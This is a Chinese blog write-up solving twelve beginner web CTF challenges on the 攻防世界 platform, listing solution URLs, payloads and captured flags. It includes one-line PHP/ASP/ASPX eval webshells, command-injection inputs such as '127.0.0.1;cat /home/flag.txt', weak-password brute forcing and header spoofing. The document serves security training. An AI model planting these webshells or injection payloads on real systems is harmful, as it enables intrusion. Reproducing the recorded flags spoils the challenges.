4.攻防世界1.新手练习区
1.view_source
访问url:
http://111.200.241.244:48855/
鼠标点击右键不起作用,F12审查元素
得到flag为cyberpeace{0f3a3e4ab8c8664f3cf40d4240ec7b53}
2.robots
访问url:
http://111.200.241.244:34362/
robots协议
robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
所以我们在url输入robots.txt
http://111.200.241.244:34362/robots.txt
跳转到页面,提示我们还有个f1ag_1s_h3re.php文件,我们继续访问文件
构造url:
http://111.200.241.244:34362/f1ag_1s_h3re.php
得到flag为cyberpeace{577d71f33e261f53ee278275e3de3de3}
3.backup
访问url:
http://111.200.241.244:49988/
这道题提示我们是文件备份,文件泄露的问题
常见的备份文件名为:index.php~和index.php.bak
构造payload:
http://111.200.241.244:49988/index.php.bak
成功下载该文件,打开文件,即可得到flag为Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
本题也可使用目录遍历搜索
4.cookie
访问url:
http://111.200.241.244:53803/
此关提示我们信息在cookie中,去查看文件的请求头和响应头信息
这里提示我们去查看cookie.php文件,我们去访问这个文件,让我们继续看文件响应头
构造url:
http://111.200.241.244:53803/cookie.php
打开文件查看响应头,得到flag为cyberpeace{6504b9e7b01f8a97949a68d32982ce70}
5.disabled_button
访问url:
http://111.200.241.244:34517/
题目提示页面按钮不能打开,点击了发现确实打不开
右键审查元素,发现有disabled属性,disabled属性可设置或返回是否禁用单选按钮,所以删掉disabled属性
得到flag为cyberpeace{0b19b9abb6aea292154a6499abb172e6}
6.weak_auth
访问url:
http://111.200.241.244:35344/
本题提示为弱密码爆破
输入任意账号密码,页面会提示通过admin账号登录
所以我们可以直接用burp爆破admin账号的密码,得到flag为cyberpeace{f5a9342401aee62a8ea8d22cb9362cc9}
7.simple_php
访问url:
http://111.200.241.244:47634/
源代码如下:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){ #函数用于检测变量是否为数字或数字字符串。
exit();
}
if($b>1234){
echo $flag2;
}
?>
审查一下源代码:
a是要等于0又要不等于0
b是要比1234大还要不能是数字
这里我们给a=a任何一个字母,字母不能代表任何数字所以默认是0,可是字母是算是有内容同时也会输出true
然后b参数>1234且不能为数字和字符串,我们给b=1235a这样他既不是数字,也不比1234小
构造payload:
http://111.200.241.244:47634/?a=a&b=1235a
得到flag为Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
8.get_post
访问url:
http://111.200.241.244:45184/
这道题考查的是让我们发送get请求和post请求。
首先提示我们需要对他发送一个get请求,我们构造a=1进行发送get请求,然后返回结果
接下来用post的方式提交b=2,得到flag为cyberpeace{f63d796525d81be9a436ed31d1ef7c51}
9.xff_referer
访问url:
http://111.200.241.244:43718/
题目告诉我们是xff_referer,猜测是与xff和referer相关,打开环境看看
我们分析一下协议
Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。
构造payload:
X-Forwarded-For:123.123.123.123
页面提示必须来自https://www.google.com
继续构造payload:
Referer:https://www.google.com
得到flag为
10.webshell
访问url:
http://111.200.241.244:48578/
看到是一句话木马,连接密码是shell
常用的一句话木马有:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以使用菜刀进行连接
得到flag为cyberpeace{3dffde669e47bfaaa521bbbba1f075b1}
11.command_execution
访问url:
http://111.200.241.244:35407/
本题给了我们一个ping页面,我们尝试ping了本机地址127.0.0.1之后回显信息
页面回显ping -c 3 127.0.0.1 ,这里提示我们这是linux系统,ping三次。我们尝试使用linux命令执行,同时执行多条命令
127.0.0.1;ls
发现有回显
补充知识:
(1)find / -name httpd.conf #在根目录下查找文件httpd.conf,表示在整个硬盘查找
(2)find /etc -name httpd.conf #在/etc目录下文件httpd.conf
(3)find /etc -name ‘srm’ #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串‘srm’的文件
(4)find . -name ‘srm*’ #表示当前目录下查找文件名开头是字符串‘srm’的文件
| 常见连接符 | 举例 | 效果 |
| -------------- | -------- | --------------------------- |
| ; | A;B | 先执行A,再执行B |
| & | A&B | 简单拼接,A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功,然后才会执行B |
| || | A||B | A执行失败,然后才会执行B |
尝试寻找带有flag的文件
127.0.0.1;find / -name flag.txt
发现flag.txt文件,我们去查看一下
构造payload:
127.0.0.1;cat /home/flag.txt
得到flag为cyberpeace{a120a656a36cbc00c6e2b288b06564b1}
12.simple_js
访问url:
http://111.200.241.244:58529/
打开题目,题目名字告诉我们和js有关
怎么输入密码都不对,我们就开始审计代码
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
发现有个可疑的变量和dechiffre后面跟着的字符串。尝试解码一下pass
脚本如下:
string = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
s_list = string.split(",")
res = ""
for i in s_list:
i = chr(int(i))
res += i
print(res)
得到flag为Cyberpeace{786OsErtk12}
脚本如下
s=[55,56,54,79,115,69,114,116,107,49,50]
d=""
for i in s:
b=chr(i)
d=d+b
print(d)
print(d)
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85